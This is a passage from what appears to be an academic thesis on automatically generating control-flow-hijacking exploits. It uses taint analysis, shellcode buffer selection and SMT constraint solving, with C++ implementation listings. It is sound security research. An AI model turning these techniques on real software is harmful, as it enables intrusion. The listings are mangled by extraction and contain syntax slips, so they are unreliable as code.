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Abstract 

Software bugs that result in memory corruption are a common and dangerous feature of 

systems developed in certain programming languages. Such bugs are security 

vulnerabilities if they can be leveraged by an attacker to trigger the execution of malicious 

code. Determining if such a possibility exists is a time consuming process and requires 

technical expertise in a number of areas. Often the only way to be sure that a bug is in fact 

exploitable by an attacker is to build a complete exploit. It is this process that we seek to 

automate. We present a novel algorithm that integrates data-flow analysis and a decision 

procedure with the aim of automatically building exploits. The exploits we generate are 

constructed to hijack the control flow of an application and redirect it to malicious code  

Our algorithm is designed to build exploits for three common classes of security 

vulnerability; stack-based buffer overflows that corrupt a stored instruction pointer, buffer 

overflows that corrupt a function pointer, and buffer overflows that corrupt the destination 

address used by instructions that write to memory. For these vulnerability classes we 

present a system capable of generating functional exploits in the presence of complex 

arithmetic modification of inputs and arbitrary constraints. Exploits are generated using 

dynamic data-flow analysis in combination with a decision procedure. To the best of our 

knowledge the resulting implementation is the first to demonstrate exploit generation using 

such techniques. We illustrate its effectiveness on a number of benchmarks including a 

vulnerability in a large, real-world server application. 

Keywords: software vulnerabilities, Software bugs, dynamic data-flow analysis 

 

System Implementation 

The implementation of the algorithms described in Chapter 3 consists of approximately 

7000 lines of C++. This code is logically divided into components that match the system 
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diagram in Figure 3.1. In this Chapter we will explain the details of our implementation, 

focusing on the instrumentation and analysis routines that make up the core of the system 

and the corresponding data structures. 

Binary Instrumentation 

The implementation of stage 1 of our algorithm is essentially two components that work in 

tandem to perform instrumentation and run-time analysis. Using the functionality provided 

by Pin we instrument a variety of events, including thread creation, system calls, and 

instruction execution. The instrumentation code analyses the events and registers callbacks 

to the correct run-time processing routines. 

Hooking System Calls 

All taint analysis algorithms require some method to seed an initial pool of tainted 

locations. One approach is to hook system calls known to read data that may be potentially 

tainted by attacker input, e.g. read. Another potential approach is to hook specific library 

calls, but as previously pointed out [14] this could require one to hook large numbers of 

library calls instead of a single system call on which they all rely. 

To mark memory locations as tainted we hook the relevant system calls and extract their 

destination locations. Pin allows us to register functions to be called immediately before a 

system call is executed (PIN AddSyscallEntryFunction) and after it returns (PIN 

AddSyscallExitFunction). We use this functionality to hook read, recv and recvfrom. 

When a system call is detected we extract the destination buffer of the function using PIN 

GetSyscallArgument and store the location. This provides us with the start address for a 

sequence of tainted memory locations. 

When a system call returns we extract its return value using Pin GetSyscallReturn. For the 

system calls we hook a return value greater than 0 means the call succeeded and data was 

read in. When the return value is greater than 0 it also indicates exactly how many 

contiguous bytes from the start address we should consider to be tainted. On a successful 

system call we first store the data read in, the destination memory location and the file or 

socket it came from in a DataSource object. The DataSource class is a class we created to 

allow us to keep track of any input data so that it can be recreated later when building the 

exploit. It also allows us to determine what input source must be used in order to deliver an 

exploit to the target program. Once the DataSource object has been stored we mark the 

range of the destination buffer as tainted. 
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Once a location has been marked as tainted the instruction level instrumentation code can 

propagate the taint information through the programs memory and registers. 

Hooking Thread Creation and Signals 

As well as system calls we insert hooks on thread creation and on signals received from the 

OS. In multi- threaded applications it is necessary for us to determine when threads are 

created and destroyed and to identify the currently active thread when calling our analysis 

routines. Threads do not share registers so a register that is tainted by one thread should not 

be marked as tainted for any others. When a thread is created we instantiate a new object in 

our taint analysis engine that represents the taint state of its registers. This object is deleted 

when the thread is destroyed. 

As mentioned in Chapter 3, one of the mechanisms one could potentially use to detect a 

possible vulnera- bility is by analysing any signals sent to the program. Using the function 

PIN AddContextChangeFunction we can register a routine to intercept such signals. If the 

signal is one of SIGKILL, SIGABRT or SIGSEGV we pause the program and attempt to 

generate an exploit. We eventually decided not to use this mechanism for vulnerability 

detection as it introduced complications when attempting to determine the exact cause of 

the signal and hence the vulnerability. 

Hooking Instructions for Taint Analysis 

In Chapter 3 all of the binary instrumentation is performed by algorithm 3.1. In this section 

we will elaborate on the methods by which this instrumentation takes place. 

Our taint analysis engine provides a low level API through the TaintManager class. This 

class pro- vides methods for directly marking memory regions and registers as tainted or 

untainted. To reflect the taint semantics of each x86 instruction at run-time we created 

another class titled x86Simulator. This class interacts directly with the TaintManager class 

and provides a higher level API to the rest of our analysis client. For each x86 instruction 

X the x86Simulator contains functions with names beginning with simulateX e.g. 

simulateMOV corresponds to the mov instruction. Each of these functions takes arguments 

specifying the operands of the x86 instruction and computes the set of tainted locations 

resulting from the instruction and these operands. 

For each instruction taint analysis is performed by inserting a callback into the instruction 

stream to the correct simulate function and provide it with the instructions operands. As 

Pin does not utilise an IR this requires us to do some extra processing on each instruction 
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in order to determine the required simulation function and extract the instructions 

operands. 

The x86Simulator class provides a mechanism for taint analysis but to use it we must have 

a method of analysing individual x86 instruction. Pin allows one to register a function to 

hook every executed instruction via INS AddInstrumentFunction. We use this function to 

filter out those instructions we wish to process. For every instruction executed we first 

determine exactly what instruction it is so we can model its taint semantics. This process is 

made easier as Pin filters each instruction into one or more categories, e.g. the movsb 

instruction belongs to the XED CATEGORY STRINGOP category. It also assigns each 

instruction a unique type, e.g. XED ICLASS MOVSB for the movsb instruction. An 

example of the code that performs this filtering is shown in Listing 4.1. 

This code allows us to determine the type of instruction being executed. The code to 

process the actual instruction and insert the required callback is encapsulated in the 

processX86.processX functions. 

Inserting Taint Analysis Callbacks 

When hooking an instruction the goal is to determine the correct x86Simulator function to 

register a callback to so that at run-time we can model the taint semantics of the instruction 

correctly. The code in Listing 4.1 allows us to determine the instruction being executed but 

each instruction can have different taint semantics depending on the types of its operands. 

For example, the x86 mov instruction can occur in a number of different forms with the 

destination and source operands potentially being one of several combinations of memory 

locations, registers and constants. In order to model the taint semantics of the instruction 

we must also know the type of each operand as well as the type of the instruction. Listing 

4.2 demonstrates the use of the Pin API to extract the required operand information for the 

mov instruction. The code shown is part of the processX86.processMOV function. 

 

1   UINT32cat=INS_Category(ins); 

2 

3   switch(cat){ 

4 caseXED_CATEGORY_STRINGOP: 

5 switch(INS_Opcode(ins)){ 

6 caseXED_ICLASS_MOVSB: 

Listing4.1:“Filteringx86instructions” 
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Listing4.2:“Determiningtheoperandtypesforamovinstruction” 

7 caseXED_ICLASS_MOVSW: 

8 caseXED_ICLASS_MOVSD: 

9 processX86.processREP_MOV(ins); 

10 break; 

11 caseXED_ICLASS_STOSB: 

12 caseXED_ICLASS_STOSD: 

13 caseXED_ICLASS_STOSW: 

14 processX86.processSTO(ins); 

15 break; 

16 default: 

17 insHandled=false; 

18 break; 

19 } 

20 break; 

21 

22 caseXED_CATEGORY_DATAXFER: 

23 

24 ... 

1   if(INS_IsMemoryWrite(ins)){ 

2 writesM=true; 

3   }else{ 

4 writesR=true; 

5   } 

6 

7 if(INS_IsMemoryRead(ins)){ 

8 readsM=true; 

9    }elseif(INS_OperandIsImmediate(ins,1)){ 

10 sourceIsImmed=true; 

11    }else{ 

12 readsR=true; 

13   } 
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Listing4.3:“Insertingtheanalysisroutinecallbacksforamovinstruction” 

 

 

1 if(writesM){ 

2 INS_InsertCall(ins,IPOINT_BEFORE,AFUNPTR(&x86Simulator::simMov_RM), 

3 IARG_MEMORYWRITE_EA, 

4 IARG_MEMORYWRITE_SIZE, 

5 IARG_UINT32,INS_RegR(ins,INS_MaxNumRRegs(ins)-1), 

6 IARG_INST_PTR, 

7 IARG_END); 

8   }elseif(writesR){ 

9 if(readsM) 

10 

INS_InsertCall(ins,IPOINT_BEFORE,AFUNPTR(&x86Simulator::simMov_MR),...,IAR

G_END); 

11 else 

12 

INS_InsertCall(ins,IPOINT_BEFORE,AFUNPTR(&x86Simulator::simMov_RR),...,IARG

_END); 

13   } 

Once the operand types have been extracted we can determine the correct function in 

x86Simulator to register as a callback. The x86Simulator class contains a function for 

every x86 instruction we wish to analyse and for each instruction it contains one or more 

variants depending on the possible variations in its operand types. For example, a mov 

instruction takes two operands; ignoring constants it can move data from memory to a 

register, from a register to a register or from a register to memory. This results in three 

functions in x86Simulator to handle the mov instruction - simMov MR, simMov RR and 

simMov RM. 

The code in Listing 4.3 is from the function processX86.processMOV. It uses function INS 

Insert Call to insert a callback to the correct analysis routine depending on the types of the 

mov instructions operands. Along with the callback function to register, INS InsertCall 

takes the parameters to pass to this func- tion1. This process is repeated for any x86 
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instructions we consider to propagate taint information. 

Under-approximating the Set of Tainted Locations 

Due to time constraints on our implementation we have not created taint simulation 

functions for all possible x86 instructions. In order to avoid false positives it is therefore 

necessary to have a default action for all non-simulated instructions. This default action is 

to untaint all destination operands of the instruction. Pin provides API calls that allow us to 

access the destination operands of an instruction without considering its exact semantics. 

By untainting these destinations we ensure that all locations that we consider to be tainted 

are in fact tainted. We perform a similar process for instructions that modify the EFLAGS 

register but are not instrumented. 

Hooking Instructions to Detect Potential Vulnerabilities 

We detect potential vulnerabilities by checking the arguments to certain instructions. For a 

direct exploit we require the value pointed to by the ESP register at a ret instruction to be 

tainted or the memory loca- tion/register used by a call instruction. We can extract the 

value of the ESP using the IARG REG VALUE placeholder provided by Pin and the 

operands to call instructions can be extracted in the same way as for the taint analysis 

callbacks. 

For an indirect exploit we must check the destination address of the write instruction is 

tainted, rather than the value at that address. As described in [19], an address to an x86 

instruction can have a number of constituent components with the effective address 

computed as follows2: 

Effective address = Displacement + BaseReg + IndexReg * Scale 

In order to exploit a write vulnerability we must control one or more of these components. 

Pin provides functions to extract each component of an effective address. e.g. INS 

OperandMemoryDisplacement, INS OperandMemoryIndexReg and so on. For each 

instruction that writes to memory we insert a callback to run-time analysis routine that 

takes these address components as parameters and the value of the write source. 

Hooking Instructions to Gather Conditional Constraints 

As described in Chapter 3, to gather constraints from conditional instructions we record the 

operands of instructions that modify the EFLAGS register and then generate constraints on 

these operands when a conditional jump is encountered.    Detecting if an instruction writes 

to the EFLAGS register is done by checking if the EFLAGS register is in the list of written 
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Listing4.5: “Insertingcallbacksonaconditionaljump” 

registers for the current instruction, e.g. if 

 

1 if (op0Mem && op1Reg) { 

2 

INS_InsertCall(ins,IPOINT_BEFORE,AFUNPTR(&x86Simulator::updateEflagsInfo_RM)

, 

3 IARG_MEMORYREAD_EA, 

4 IARG_MEMORYREAD_SIZE, 

5 IARG_UINT32,INS_RegR(ins,INS_MaxNumRRegs(ins)-1), 

6 IARG_UINT32,eflagsMask, 

7 IARG_CONTEXT, 

8 IARG_THREAD_ID, 

9 IARG_INST_PTR, 

10 IARG_END); 

11   } 

1 VOID 

2processJCC(INSins,JCCTypejccType) 

3 { 

4 unsignedeflagsMask=extractEflagsMask(ins,true); 

5 INS_InsertCall(ins,IPOINT_AFTER,AFUNPTR(&x86Simulator::addJccCondition), 

6 IARG_UINT32,eflagsMask, 

7 IARG_BOOL,true, 

8 IARG_UINT32,jccType, 

9 IARG_INST_PTR, 

10 IARG_END); 

11 

12 

INS_InsertCall(ins,IPOINT_TAKEN_BRANCH,AFUNPTR(&x86Simulator::addJccCond

ition), 

13 IARG_UINT32,eflagsMask, 

14 IARG_BOOL,false, 

Listing4.4:“InsertingacallbackonEFLAGSmodification” 
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15 IARG_UINT32,jccType, 

16 IARG_INST_PTR, 

17 IARG_END); 

18   } 

INS RegWContain(ins, REG EFLAGS) is true. If an instruction does write to the EFLAGS 

register we can extract from it a bitmask describing those flags written. 

Using the same INS Is* functions as shown in Listing 4.2 we determine the types of each 

operand. Once again this is necessary as we use a different simulation function for each 

combination of operand types, where an operand type can be a memory location, register 

or constant. Once the operand types have been discovered we register a callback to the 

correct run-time routine, passing it the instruction operands and a bitmask describing the 

bits changed in the EFLAGS register. Listing 4.4 exemplifies how the callback is 

registered for a two operand instruction where the first operand is a memory location and 

the second is a register. 

On lines 3 and 4 the Pin placeholders to extract the memory location used and its size are 

used. The register ID is extracted on line 5 and passed as a 32-bit integer. Similarly the 

bitmask describing the EFLAGS modified is passed as a 32-bit integer on line 6. 

Inserting Callbacks to Record Conditions from Conditional Jumps 

The above code is used to keep track of the operands on which conditional jumps depend 

on. To then convert this information to a constraint we need to instrument conditional 

jumps. Algorithm 3.1 in Chapter 3 we described the process of instrumenting a conditional 

jump instruction. We insert two callbacks for each conditional jump. One on the path 

resulting from a true condition and one on the path resulting from a false condition. 

Listing4.6:“Simulatingamovinstruction” 

1   VOID 

2    

x86Simulator::simMov_MR(UINT32regId,ADDRINTmemR,ADDRINTmemRSize,THR

EADIDid,ADDRINTpc) 

3   { 

4 SourceInfosi; 

5 

6 //Ifthesourcelocationisnottaintedthenuntaintthedestination 
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7 if(!tmgr.isMemLocTainted(memR,memRSize)){ 

8 tmgr.unTaintReg(regId,id); 

9 return; 

10 } 

11 

12 //Settheinformationonthesourceoperand 

13 si.type=MEMORY; 

14 //ThemovinstructionreadsfromaddressmemR 

15 si.loc.addr=memR; 

16 

17 vector<SourceInfo>sources; 

18 sources.push_back(si); 

19 

20 TaintInfoPtrtiPtr=tmgr.createNewTaintInfo(sources,(unsigned)memRSize, 

21 DIR_COPY,X_ASSIGN,0); 

22 tmgr.updateTaintInfoR(regId,tiPtr,id); 

23   } 

Listing 4.5 shows the code used to perform this instrumentation. The function that is 

registered as a callback is the same for both paths but a flag is passed as the second 

argument that indicates the truth of the condition. We also pass a bitmask describing the 

EFLAGS that are checked by the conditional jump to determine its outcome. At run-time 

we can then construct a condition using the operands that last set the EFLAGS read by the 

condition, the jump type and the parameter indicating the truth of the condition. 

Run-time Analysis 

The second part of stage 1 of our algorithm consists of run-time analysis. The analysis 

functions executed at run-time are exactly those that are registered as callbacks during 

binary instrumentation. These are functions to perform taint analysis, gather constraints 

from conditional instructions and check the integrity of pointers before they are moved into 

the EIP register. 

Taint Analysis 

There are two main classes responsible for performing taint analysis. The low-level 

management of tainted memory locations and registers is handled by the TaintManager 
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class. As well as the previously mentioned functionality it is also responsible for updating 

the taint lattice values associated with memory locations and registers and converting 

instructions to symbolic formulae as described in Chapter 3. The other important class at 

this stage is the x86Simulator. As described in the previous section, this object provides an 

abstraction layer above the Taint Manager class by encoding the taint semantics of a given 

x86 instruction in calls to the Taint Manager API. 

Tainting a memory location begins with the execution of a function in the x86Simulator 

class. Listing 

4.6 provides an example of such a function. A callback to the function 

x86Simulator.simMov MR would have been registered during the binary instrumentation 

phase of a mov instruction that moves data from a memory location to a register. This 

function is passed the source and destination operands as arguments, as well as the size of 

the memory location read. The purpose of the function is to use the TaintManager to 

implement the taint analysis functions described in Chapter 3. 

Listing4.7:“ThevariablesdefinedinaTaintByteobject” 

1   classTaintByte{ 

2 //AuniqueidentifierforthisTaintByteintheconstraintformula 

3 intid; 

4 //ThisvariableisonlysetifthisTaintBytewascreatedasadirect 

5 //resultofahookedsystemcall.AllotherTaintBytescantrace 

6 //backtotheirdatasource(s)byrecursivelyiteratingthroughtheirparents 

7 boolisDataSourceFlag; 

8 DataSource*dataSource; 

9 //AcountofthenumberofTaintBytesthatreferencethis 

10 //TaintByteasasource.Ifthisis0thentheTaintBytecan 

11 //safelybedeletedwhenitisnolongerassociatedwitha 

12 //memoryaddress 

13 intrefCount; 

14 //Thesymbolicrelationshipbetweenthesourcesandthedestination 

15 //e.g.foranaddinstructionthiswouldbeX_ADDwhereasforamov 

16 //instructionitisX_ASSIGN 

17 RelationsourceRelation; 
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18 //Onebytemaybetaintedasaresultoftheinteractionsofseveralsourcebytes 

19 //Whendeterminingtheconstraintstosolvethistreeofsourceswillbetraversed 

20 vector<TaintBytePtr>sources; 

21 //ThisvariabledenotesthepositionoftheTaintByteintheconstraintcomplexity 

22 //lattice 

23 CCLValuecclVal; 

24 

25 ... 

The function first checks if the memory location read (memR) is tainted. If not then the 

destina- tion location is untainted and processing ends for the instruction (lines 7-10). As 

described in Chapter 3, each destination operand can have its value computed from more 

than one source operand, hence we use a vector to describe the sources (line 17). We then 

create a new object representing the destina- tion operand. This Taint In foPtr contains 

unique IDs for all destination bytes as required by our taint analysis algorithms. Creating 

the objects to represent the destination bytes is abstracted by the function Taint 

Manager.create New Taint Info. This function also ensures the taint lattice position of the 

desti - nation is correctly computed. The parameter DIR COPY indicates the taint lattice 

position of the instruction as a direct copy. The parameter X ASSIGN is used to indicate 

the relationship between the destination and source operands; it is used to create the 

symbolic formula for the instruction. Finally, this object is associated with the register 

written using the Taint Manager.update Taint Info R function. 

The function Taint Manager.create New Taint Info contains the code to create objects 

representing a destination byte, assign it a unique ID, compute its taint lattice position and 

store the symbolic relationship between the destination operand and its sources. For every 

new destination operand we create an object of type Taint Byte. The variables defined in 

this class are shown in Listing 4.7. 

Each of these Taint Byte objects is identified by a unique ID that can be used when 

constructing the path condition. A Taint Byte object is used to represent any byte that we 

perform taint analysis on and is the class type associated with the arrays of destination and 

source operands used in Chapter 3 e.g. the array insdsts is an array of Taint Byte objects in 

the implementation. The data members of the class are sufficient to allow us to apply the 

path condition building algorithms as described in Chapter 3 given an initial Taint Byte. 
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Listing4.9:“UpdatingtheoperandsassociatedwithEFLAGSindices” 

Gathering Conditional Constraints 

During the binary instrumentation phase we insert callbacks to functions designed to store 

the Taint Byte objects involved in modifying elements of the EFLAGS register. Internally 

we represent this information as a vector of 32 Eflags Operands structures, with each index 

in the vector identifying a particular EFLAGS. 

 

 

1   structEflagsOperands{ 

2 OpTypetype0; 

3 TaintDwordPtrtdPtr0; 

4 unsignedimmed0; 

5 

6 OpTypetype1; 

7 TaintDwordPtrtdPtr1; 

8 unsignedimmed1; 

9   }; 

1   VOID 

2    

x86Simulator::setEflagsOperands(EflagsOperandsPtrefo,UINT32eflagsMask,ADDRINTpc

) 

3   { 

4 //Onlythefirst16flagsarecurrenlyofinteresttous 

5 for(inti=0;i<16&&eflagsMask>0;i++,eflagsMask>>=1){ 

6 if(eflagsMask&1) 

7 eflagsOperands[i]=efo; 

8 } 

9   } 

register index. 

The EflagsOperands structure is shown in Listing 4.8. In the current implementation we 

support instructions with at most two operands which is sufficient to capture most cases. 

The run-time functions such as x86Simulator.updateEflagsInfo MR parse the operands to a 

Listing4.8:“AstructureforstoringtheoperandsinvolvedinmodifyingtheEFLAGS” 
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given instruction and build one of these structures. As shown in the structure, we treat the 

operands as either a tainted value up to dword size (a vector of 4 TaintByte objects) or a 

constant value. The structure is then stored in a global vector at the indices of the EFLAGS 

register modified by the x86 instruction being analysed. This is illustrated in Listing 4.9. 

When a conditional jump is encountered the function addJccCondition is executed. The 

purpose of this function is to add a conditional constraint to a global store if the conditional 

jump is dependent on tainted data. Any conditional jump reads a subset of the EFLAGS 

register and thus we can simply retrieve the EflagsOperands structures associated with 

these indices as stored in the previous step. We store the EflagsOperands structure, a 

boolean variable indicating whether the condition was negated or not and a variable 

indicating the type of the condition. This is sufficient information to create a conditional 

constraint on the tainted bytes when later building the path condition. 

Integrity Checking of Stored Instruction and Function Pointers 

During the binary instrumentation phase we also register callbacks to functions to check 

for potential vul- nerabilities. The first of these we will discuss is integrity checking on the 

value about to be put in the EIP register by a ret or call instruction. Checking whether a 

memory location or register is tainted or not is trivial using our TaintManager class. 

For example, Listing 4.10 demonstrates the process for a ret instruction. We pass the 

analysis function the current ESP value and then execute the loop shown to determine if 

any of the bytes at that address are tainted. 

If we discover the memory location or register is tainted we can retrieve the TaintByte 

objects associated with that location and begin exploit generation. 

Listing4.10:“CheckingifthevalueatESPistaintedforaretinstruction” 

1    for(inti=0;i<DWORD_SIZE;i++){ 

2 if(tmgr.isMemLocTainted(espVal+i)){ 

3 cout<<"[!]Byte"<<i<<"ofstoredEIPistainted"<<endl; 

4 }else 

5 allTainted=false; 

6   } 

Integrity Checking for Write Instructions 

To check for exploitable write instructions we take a similar approach. As mentioned 

previously, to exploit a write instruction we require that the address of the destination be 
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tainted and the value of the source. Therefore for an instruction like mov DWORD PTR 

[eax], ebx we must check that the value in eax is tainted, not the value at the address eax 

points to, and also that the value in ebx is tainted. 

During the binary instrumentation phase we extract the memory locations or registers that 

make up the destination address and the source value. These are then passed to a run-time 

analysis routine that queries the Taint Manager object to determine if these locations are 

tainted, i.e. using the isMemLocTainted isReg Log Tainted functions. We  attempt to  

generate  an exploit  if  the destination  address and source value are tainted. In some cases 

an exploit may be possible without direct control of the source value but we do not 

consider such cases in this work. The additional problems involved in considering such 

cases are discussed in section 6.4 Write-N-Bytes-Anywhere. 

In Chapter 3 we mentioned that the analysis stage for an indirect exploit must take place at 

the point where instruction would be transferred to our shell code not at the corrupted write 

instruction. To do this the destination address of the write instruction must be modified to 

avoid a crash and to reflect the conditions that will exist when the actual exploit is used as 

input. We modify the write destination to be the start of the.dtors section plus 4. If an 

exploit is successfully generated this is the location it would write the shellcode address to 

in order to hijack the EIP. 

Exploit Generation 

In order to build the exploit formula we must process the information gathered during run-

time analysis. The implementation effort at this stage is primarily in finding suitable 

shellcode buffers, determining the required bytes to change for EIP control and building 

the path condition for the required bytes. We will explain some of the more involved 

algorithms in this section. 

This part of our system is designed to build a formula as described in Chapter 3 that 

encapsulates the conditions required for an input to be an exploit. To build such a formula 

we are essentially discovering what bytes need to be changed, building their path condition 

and then appending on a constraint specifying the value we wish them to have. This 

process is performed for the bytes that make up the shellcode location as well as the bytes 

we modify to hijack the EIP. 

Using the TaintManager class we can retrieve the TaintByte objects associated with any 

locations determined to be tainted. For a direct exploit we retrieve the TaintByte objects 
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associated with the location pointed to by the ESP register (stored instruction pointer 

overflow) or those associated with the argument to a call instruction (function pointer 

overflow). For an indirect exploit we extract the TaintByte objects associated with the 

write destination address and the source value. The correct locations are passed to our 

analysis routines during the binary instrumentation phase so that at run-time we can simply 

use the getTaintByte function of the TaintManager class. If the return value is not NULL 

then the location is tainted. 

In Chapter 3 algorithms to build the path condition (algorithm 3.6) and find potential 

shellcode buffers (algorithm 3.10) were described. We will now explain some of the more 

important implementation details behind these algorithms. 

Listing4.11:“Constructingasetofshellcodebuffers”  

1   multiset<unsigned>::iteratoriter=taintedMemLocs.begin(); 

2 

3    for(;iter!=taintedMemLocs.end();iter++){ 

4 if(*iter>lastAddrProcessed+1){ 

5 taintBuffers.insert(currTaintBuffer); 

6 currTaintBuffer=TaintBuffer(); 

7 } 

8 currTaintBuffer.addAddress(*iter); 

9 

10 TaintBytePtrtbPtr=tmgr.getTaintByteM(*iter); 

11 cclVal=latticeMeet(currTaintBuffer.getCCLVal(),tbPtr->getCCLVal()); 

12 //updatetheTaintBufferlatticeinfo 

13 currTaintBuffer.setCCLVal(cclVal); 

14 

15 lastAddrProcessed=*iter; 

16   } 

17   taintBuffers.insert(currTaintBuffer); 

Shell code and Register Trampolines 

In order to generate an exploit we need both shellcode to run and the addresses of any 

potentially suitable register trampolines. The Metasploit framework [39] contains a 

collection of useful shellcode as well as tools for extracting register trampoline addresses 
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from a binary. We allow our tool to select from multiple shellcodes. This is done through 

an interface to an object (ShellcodeManager) that stores the available shellcodes and 

relevant information, such as their length. As a result we can generate multiple formulae 

per exploit using different shellcode for each formula. 

We store shellcodes in a variety of encodings in order to avoid common input filters. For 

example, we require shellcode with no NULL bytes in order to exploit most vulnerabilities 

resulting from string copying or concatenation. Another common requirements is 

alphanumeric shellcode in which all bytes represent an ASCII encoded alphanumeric 

character. 

As described in Chapter 2, a register trampoline is an address at a static location used to 

indirectly redirect execution flow into a shellcode buffer. On Windows, Linux or OS X the 

addresses occupied by application code are not randomised and therefore the application 

itself is often a source of usable trampolines. The Metasploit framework comes with a tool, 

msfelfscan, that can extract the addresses of register trampolines when provided with a 

binary application. We supply this list of addresses to our tool via a configuration file. 

Locating Potential Shellcode Buffers 

From the TaintManager class we can retrieve an ordered list of all tainted memory 

locations. We must then parse these memory locations into sets of contiguous tainted bytes 

and order them by the infimum of the lattice positions of the constituent bytes in the buffer. 

Algorithm 3.10 describes how to do this using the memory locations stored in registers as a 

starting point. The code in Listing 4.11 demonstrates how to do this over all tainted 

memory locations and is thus also usable in situations where a register trampoline is not 

necessary. 

In our system a TaintBuffer object is used to represent a set of contiguous tainted memory 

locations. Associated with it is a set of addresses and a value representing its constraint 

complexity lattice position (the CCLVal variable in the above code). The less-than 

operator of the TaintBuffer class is dependent on the CCLVal variable. Thus a multiset as 

shown in the Listing 4.11 will be ordered on this parameter with those TaintBuffer objects 

with the least complex associated constraints occurring at the beginning of the multiset. 

The algorithm iterates over all tainted memory locations and every time two locations are 

not contiguous it stores the old TaintBuffer and creates a new one (lines 4-7). One lines 11-

13 the CCLVal variable of the object are updated based on the meet of its current value and 
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the CCLVal variable of the byte about to be added to the buffer. 

Once the set of all possible shellcode buffers has been built we can iterate over the registers 

and find those shellcode buffers that are reachable via a register trampoline. We also 

process the list to discover any shellcode buffers located in memory regions with non-

randomised addresses. To determine a suitable buffer for a given shellcode we iterate over 

the TaintBuffer objects and use the first buffer of sufficient size. This will also be the 

buffer with the least complex constraints out of those that are sufficiently large to hold the 

shellcode. This is due to the ordering imposed on the set in Listing 4.11. As mentioned 

earlier, our algorithms will use buffers reachable via a register trampoline where possible 

and fall back to buffers located in static memory locations. 

Using Non-Randomised  Locations  as  Shell code  Buffers 

On some operating systems the addresses used for certain memory regions are not 

randomised. When generating exploits on such systems we can avoid the use of a register 

trampoline if a shellcode buffer exists in one of these non-randomised regions. The primary 

advantage of such a shellcode buffer is we are not limited to placing our shellcode at the 

location pointed to by a register. We can place our shellcode at any location in the buffer as 

long as sufficient space exists between the start index and the end of the buffer. Our 

implementation supports this feature although it will prioritise locations reachable via a 

register trampoline for portability reasons. 

Controlling the EIP 

Controlling the EIP requires to stages. First, using the TaintManager class we retrieve the 

TaintByte objects related to the memory locations and/or addresses we need to control. We 

then generate a formula to constrain the IDs of these objects as required by the exploit 

type. This process is described in algorithms 3.12 (direct exploit) and 3.13 (indirect 

exploit). The core of both of these algorithms is building a formula that constrains the 

value of a byte and adding this constraint to the current formula. Abstractly this was done 

using the functions createEqualityFormula and createConjunct. In our implementation this 

functionality is primarily encapsulated in the SmtLibFormula object. The addFormula 

function encodes a given clause in SMT-LIB format and adds it to the formula. If we 

specify the assignment operator (X ASSIGN), a unique ID and a bit-vector value the 

SmtLibFormat object will store the corresponding SMT-LIB formatted clause. Listing 4.12 

shows the function to constrain the EIP value for a direct exploit. It essentially follows the 
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same process as described in algorithm 3.12. The CrashInfo object that is passed as a 

parameter contains the register ID or memory location that must be modified, i.e. the mEIP 

value, while the newEip parameter 

is the address we wish to redirect execution to, i.e. ι. 

The function addDirectEIPOverwriteFormula iterates over the four bytes of the value we 

wish to constrain and adds the required clause to the SMT formula (line 23). 

In order to perform a similar task for a direct exploit we must first do some pre-processing 

on the destination operand. When generating a direct exploit we want to modify the 

destination address not the value at that address. The problem we are presented with is that 

the destination address can be constructed from a combination of registers, memory 

addresses and constants to get the resulting effective address. The formula for this was 

presented in section 4.1.4. 

When describing algorithm 3.13 we mentioned that the variable provided to represent the 

destination address was equivalent to a sub-formula describing the computation of that 

address. First, let us recall how an effective address is calculated: 

Effective address = Displacement + BaseReg + IndexReg * Scale 

The variable passed to algorithm 3.13 represents the above computation. If any of the right-

hand-side operands are tainted they are replaced with the variable IDs representing the 

correct TaintByte objects. We then create four new 8-bit variables and a 32-bit variable 

equal to the concatenation these 8-bit variables. That address clause is assigned to this 32-

bit variable. Algorithm 3.13 can then take this 32-bit variable as 

Listing4.12:“GainingcontroloftheEIPforadirectexploit” 

1 void 

2 Taint Data Processor::add Direct EIP Overwrite Formula 

(CrashInfoci,unsignedcharnewEip[], 

3 Smt Lib Format&smt Formula) 

4{ 

5 Taint Byte Ptrtb Ptr; 

6 

7 for(inti=0;i<DWORD_SIZE;i++){ 

8 Taint Byte PtrtbPtr; 

9 
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10 //Dependingonthetypeofdirectexploitwewillwanttoconstraina 

11 //differentlocation.Forastoredinstructionpointeroverwriteit 

12 //willbethevalueatESPwhereasforafunctionpointeroverwriteit 

13 //willeitherbearegisterorsomememorylocation. 

14 

15 if(ci.reason==TAINTED_RET){ 

16 tbPtr=tmgr.getTaintByteM(ci.taintSource.espVal+i); 

17 (elseif(ci.reason==TAINTED_CALL_REG)) 

18 tb Ptr=tmgr.getTaintByteR(ci.taintSource.taintedRegId,i,ci.threadId); 

19 ( elseif( ci.reason=TAINTED_CALL_MEM)) 

20 tbPtr=tmgr.get Taint Byte M(ci.taint Source. Tainted MemLoc+i); 

21 } 

22 

23 smt Formula.add Formula( Smt Lib format::encodeRelation(X_ASSIGN), 

24 tbPtr->getId(),Smt Lib Format::bit Vector Of_C( new Eip[i])) 

25 } 

26   } 

the destination argument and any formulae that are generated on it will be directly related 

to the components of the effective address. 

Conflicts Between the EIP Control and Shell code Formulae 

In some situations one encounters a shell code buffer that appears to be a suitable location 

for shellcode but when used results in an unsatisfiable formula. Often the cause of this 

problem is that the buffer overlaps with a memory region we must constrain to control the 

EIP, e.g. a stored instruction pointer on the stack. In our implementation we attempt to 

detect these situations before a formula is generated by noting when we try to constrain an 

input variable more than once. In such cases we attempt to use a different shellcode buffer. 

If another buffer is reachable via a trampoline then this will be tried, otherwise we will 

attempt to use buffers at non-randomised locations. As mentioned, our shellcode does not 

need to start at the beginning of such a buffer so in cases where the conflict persists we try 

to incrementally move the starting location of the shellcode within the buffer until the 

conflict is avoided or there is no longer enough room left in the buffer. 

Constructing the Path Condition 
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At the core of our exploit generation algorithm is the functionality to take a memory 

address or register and construct the path condition for that location. This algorithm was 

initial presented at a high level as algorithm 3.7. The path condition must be built for all 

memory addresses used in shellcode as well as for the memory locations and/or registers 

that must be modified to gain control of the EIP in both a direct and indirect exploit. We 

build the path condition at the byte level of granularity, using byte concatenation when 

necessary to express operations on locations of a larger size. 

We begin the process by retrieving the Taint Byte object associated with the given 

location. As shown in Listing 4.7 this object contains references to a vector of TaintByte 

objects from which it was derived. It also contains the relationship between these objects to 

give the current Taint Byte, e.g. when analyzing. 

Listing4.13:“Recursivelybuildingthepathcondition” 

1    if (!currTb->isDataSource()) { 

2 // Update the list of variables in the formula 

3 smtFormula.addNewVar(currTb->getId(), "n", SMT_BV); 

4 

5 //Iterateoverallpossiblesourcerelationsandencode 

6 if(currTb->getSourceRelation()==X_ASSIGN){ 

